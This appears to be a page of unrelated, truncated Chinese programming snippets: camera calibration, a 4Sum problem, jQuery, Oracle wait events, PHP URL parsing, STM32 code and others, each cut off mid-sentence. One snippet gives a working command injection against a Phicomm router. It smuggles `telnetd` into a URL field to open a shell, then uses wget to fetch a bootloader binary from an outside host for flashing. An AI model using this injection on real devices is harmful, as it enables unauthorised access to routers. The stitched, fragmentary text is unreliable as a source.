博客转载自:http://blog.csdn.net/Loser__Wang/article/details/51811347 本文目的在于记录如何使用MATLAB做摄像机标定,并通过opencv进行校正后的显示. 首先关于校正的基本知识通过OpenCV官网的介绍即可简单了解: http://docs.opencv.org/2.4/doc/tutorials/calib3d/camera_calibration/camera_calibration.html 对于摄像机我们所关心的主要参数为摄像

给定一个包含 n 个整数的数组 nums 和一个目标值 target,判断 nums 中是否存在四个元素 a,b,c 和 d ,使得 a + b + c + d 的值与 target 相等?找出所有满足条件且不重复的四元组. 注意: 答案中不可以包含重复的四元组. 示例: 给定数组 nums = [1, 0, -1, 0, -2, 2],和 target = 0. 满足要求的四元组集合为: [   [-1,  0, 0, 1],   [-2, -1, 1, 2],   [-2,  0, 0, 2

通过它,你可以遍历对象.数组的属性值并进行处理. 使用说明 each函数根据参数的类型实现的效果不完全一致: 1.遍历对象(有附加参数) $.each(Object, function(p1, p2) { this; //这里的this指向每次遍历中Object的当前属性值 p1; p2; //访问附加参数 }, ['参数1', '参数2']); 2.遍历数组(有附件参数) $.each(Array, function(p1, p2){ this; //这里的this指向每次遍历中Array的当

从以下两个视图中查到的session中,有P1,P2,P3参数select * from v$sessionselect * from v$session_waitselect * from v$session_wait_history想知道每个参数的意义,可以从V$EVENT_NAME视图中得到,例如:SQL> col name for a30   SQL> col p1 for a20 SQL> col p2 for a20SQL> col p3 for a20SQL>

w 栗子 js window.location = www.xx.com?p1=123&p2=456&p3=789 但是服务端仅仅接收到了 p1 p2 没有接收到p3 原因有哪些呢? 参考PHP get方式传递参数小心掉坑 - 咖啡如同生活的专栏 - 博客频道 - CSDN.NEThttp://blog.csdn.net/gaoxuaiguoyi/article/details/48469165 除了未进行字符过滤或转码

#include "stm32f10x.h" // 相当于51单片机中的 #include <reg51.h> #include "stm32f10x_gpio.h" #include "stm32f10x_exti.h" #include "misc.h" /* *K1 K2作为中断源控制红色LED灯,实现任意键按一下LED灯亮或者灭 */ /*GPIO.NVIC.EXTI配置*/ int peizhi() {

Oracle 10g v$session视图中不同等待事件对应的p1,p2,p3的含义也不同,我们不可能记住所有等待事件对应的p1,p2,p3的含义. 可以通过查询V$EVENT_NAME知道每个等待事件对应的p1,p2,p3的含义 SQL> col name for a25;SQL> col p1 for a10;SQL> col p2 for a10;SQL> col p3 for a10; SQL> SELECT NAME, PARAMETER1 P1, PARAMET

php 直接获取url参数赋值成变量.省去繁琐的获取参数,再一个个赋值 parse_url() 该函数可以解析 URL,返回其组成部分.它的用法如下: array parse_url(string $url) 此函数返回一个关联数组,包含现有 URL 的各种组成部分.如果缺少了其中的某一个,则不会为这个组成部分创建数组项.组成部分为: scheme - 如 http host - 如 localhost port - 如 80 user pass path - 如 /parse_str.php

SpringMVC中使用Ajax POST请求以json格式传递参数服务端通过request.getParameter("name")无法获取参数值问题分析 一:问题demo展示 在开发新需求,调试代码的时候发现一个问题,就是HttpServletRequest 获取不到ajax post请求的json参数!下面是伪代码是整个请求的逻辑! 1.前台JS请求代码(伪代码) var _phoneId = "123456789"; var closeUrl=context

enq: TX - row lock contention三个参数,例如,下面的等待事件 * P1 = name|mode          <<<<<<< name一般都为0x5458代表TX锁; mode为4代表共享锁 mode为6代表排他锁  * P2 = usn<<16 | slot      <<<<<<< v$transaction.xidusn  和 v$transaction.xidslot  

官方V21.4.5.5前的ROM,直接打开下边这个链接就直接开telnet了,然后就可以随便搞了 http://192.168.2.1/goform/gra_NTPSyncWithLocal?text_year="2016|`telnetd`" 然后Telnet进入192.168.2.1,下载breed文件 wget -O /tmp/breed.bin http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin 执行写入 m

p1-p2 指 指针的地址值相减,计算两个指针之间的偏移量 *p1-*p2 指 指针指向的内存地址里面存的数值相减

没错使用以下函数就能够完整的获取到路径里的你想要的参数:function getURLParameter(name) { return decodeURIComponent((new RegExp('[?|&]' + name + '=' + '([^&;]+?)(&|#|;|$)').exec(location.search)||[,""])[1].replace(/\+/g, '%20'))||null; }

控制器,带状态 app.controller('editCtrl', ['$http', '$location', '$rootScope', '$scope', '$state', '$stateParams', function($http, $location, $rootScope, $scope, $state, $stateParams){ // 上边声明添加显示的依赖注入,是为了防止,压缩(如UglifyJS)时改变function里的参数名,造成功能引用失败.推荐r.js压缩  

今天有人遇到接口调用不通的情况,粗略看了一下是axios跨域请求引起了.找到问题,处理就简单多了. 但是我看其代码,发现比较有意思 export function agentlist(query) { return request({ url: /agent/list', method: 'get', params: query }) } export function editagent(data) { return request({ url: '/agent/editagent', met

URL中会带上参数,假如是?开头的,那这个是会被加入到ajax请求中的,#(hash)相当于书签锚点,用于定位页面,不会加入到ajax请求中,所以有些时候,我们可以把一些参数放在#后面 如何获取URL中的参数并解析出来? let url = location.search; //获取url中"?"符后的字串 let theRequest = new Object(); if (url.indexOf("?") != -1) { let str = url.subst

转自:http://www.infoq.com/cn/articles/alibaba-broadcast-platform-technology-challenges 鏖战双十一-阿里直播平台面临的技术挑战 作者 陈康贤 发布于 2016年1月28日 | 2 讨论 分享到:微博微信FacebookTwitter有道云笔记邮件分享 稍后阅读 我的阅读清单   前言:一直以来双十一都是以交易为重心,今年当然也是如此,但是这并不妨碍万能的淘宝将双十一打造的让用户更欢乐.体验更丰富.玩法更多样.内容更

上一篇博客简要介绍了一下常用的张正友标定法的流程,其中获取了摄像机的内参矩阵K,和畸变系数D. 1.在普通相机cv模型中,畸变系数主要有下面几个:(k1; k2; p1; p2[; k3[; k4; k5; k6]] ,其中最常用的是前面四个,k1,k2为径向畸变系数,p1,p2为切向畸变系数. 2.在fisheye模型中,畸变系数主要有下面几个(k1,k2,k3,k4). 因为cv和fisheye的镜头畸变模型不一样,所以畸变系数也会有所不同,具体在畸变校正时的公式也不同,具体公式请参见ope

图像算法中会经常用到摄像机的畸变校正,有必要总结分析OpenCV中畸变校正方法,其中包过普通针孔相机模型和鱼眼相机模型fisheye两种畸变校正方法. 普通相机模型畸变校正函数针对OpenCV中的cv::initUndistortRectifyMap(),鱼眼相机模型畸变校正函数对应OpenCV中的cv::fisheye::initUndistortRectifyMap().两种方法算出映射Mapx和Mapy后,统一用cv::Remap()函数进行插值得到校正后的图像. 1. FishEye模型

图像算法中会经常用到摄像机的畸变校正,有必要总结分析OpenCV中畸变校正方法,其中包括普通针孔相机模型和鱼眼相机模型fisheye两种畸变校正方法. 普通相机模型畸变校正函数针对OpenCV中的cv::initUndistortRectifyMap(),鱼眼相机模型畸变校正函数对应OpenCV中的cv::fisheye::initUndistortRectifyMap().两种方法算出映射Mapx和Mapy后,统一用cv::Remap()函数进行插值得到校正后的图像. 1. FishEye模型

首页:http://www.7d-soft.com/index.htm 4.0新功能 (预定2010年8月6日): 1:支持复数拟合.复数方程组计算: 2:支持微分方程拟合求解: 3:通用全局优化求解器变异功能,优化能力提高20%以上: 4:新的编程模式计算引擎: 5:强大易用的数据批处理拟合功能 6:公式自动搜索:增加更多的二维.三维函数库: 7:改进的积分计算,拟合,解方程可含有积分函数,支持高斯积分和辛普森积分算法 8:三维图形旋转.缩放.移动等功能 9:?号输入,可动态输入常数. 10: